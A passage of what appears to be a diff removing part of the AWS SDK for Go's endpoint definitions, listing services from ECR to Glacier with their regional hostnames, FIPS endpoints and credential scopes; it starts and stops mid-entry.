Hostname: "api.ecr.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{ - Hostname: "api.ecr.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{ - Hostname: "api.ecr.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "api.mediatailor": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "api.pricing": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "pricing", - }, - }, - Endpoints: endpoints{ - "ap-south-1": endpoint{}, - "us-east-1": endpoint{}, - }, - }, - "api.sagemaker": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "api-fips.sagemaker.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "api-fips.sagemaker.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "api-fips.sagemaker.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "api-fips.sagemaker.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "apigateway": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "application-autoscaling": service{ - Defaults: endpoint{ - Hostname: "autoscaling.{region}.amazonaws.com", - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Service: "application-autoscaling", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "appstream2": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - CredentialScope: credentialScope{ - Service: "appstream", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "appsync": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "athena": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "autoscaling": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "autoscaling-plans": service{ - Defaults: endpoint{ - Hostname: "autoscaling.{region}.amazonaws.com", - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Service: "autoscaling-plans", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "batch": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "budgets": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "budgets.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "ce": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "ce.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "chime": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - Defaults: endpoint{ - SSLCommonName: "service.chime.aws.amazon.com", - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "service.chime.aws.amazon.com", - Protocols: []string{"https"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "cloud9": service{ - - Endpoints: endpoints{ - "ap-southeast-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "clouddirectory": service{ - - Endpoints: endpoints{ - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cloudformation": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cloudfront": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "cloudfront.amazonaws.com", - Protocols: []string{"http", "https"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "cloudhsm": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cloudhsmv2": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "cloudhsm", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cloudsearch": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cloudtrail": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "codebuild": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "codebuild-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "codebuild-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "codebuild-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "codebuild-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "codecommit": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "fips": endpoint{ - Hostname: "codecommit-fips.ca-central-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ca-central-1", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "codedeploy": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "codedeploy-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "codedeploy-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "codedeploy-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "codedeploy-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "codepipeline": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "codestar": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cognito-identity": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cognito-idp": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cognito-sync": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "comprehend": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "comprehendmedical": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "config": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "cur": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "datapipeline": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "datasync": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "dax": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "devicefarm": service{ - - Endpoints: endpoints{ - "us-west-2": endpoint{}, - }, - }, - "directconnect": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "discovery": service{ - - Endpoints: endpoints{ - "us-west-2": endpoint{}, - }, - }, - "dms": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "docdb": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{ - Hostname: "rds.eu-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-1", - }, - }, - "us-east-1": endpoint{ - Hostname: "rds.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{ - Hostname: "rds.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-2": endpoint{ - Hostname: "rds.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "ds": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "dynamodb": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "local": endpoint{ - Hostname: "localhost:8000", - Protocols: []string{"http"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "ec2": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "ec2metadata": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "169.254.169.254/latest", - Protocols: []string{"http"}, - }, - }, - }, - "ecs": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elasticache": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "fips": endpoint{ - Hostname: "elasticache-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elasticbeanstalk": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elasticfilesystem": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elasticloadbalancing": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elasticmapreduce": service{ - Defaults: endpoint{ - SSLCommonName: "{region}.{service}.{dnsSuffix}", - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{ - SSLCommonName: "{service}.{region}.{dnsSuffix}", - }, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{ - SSLCommonName: "{service}.{region}.{dnsSuffix}", - }, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "elastictranscoder": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "email": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "entitlement.marketplace": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "aws-marketplace", - }, - }, - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "es": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "fips": endpoint{ - Hostname: "es-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "events": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "firehose": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "fms": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "fsx": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "gamelift": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "glacier": service{ - Defaults: 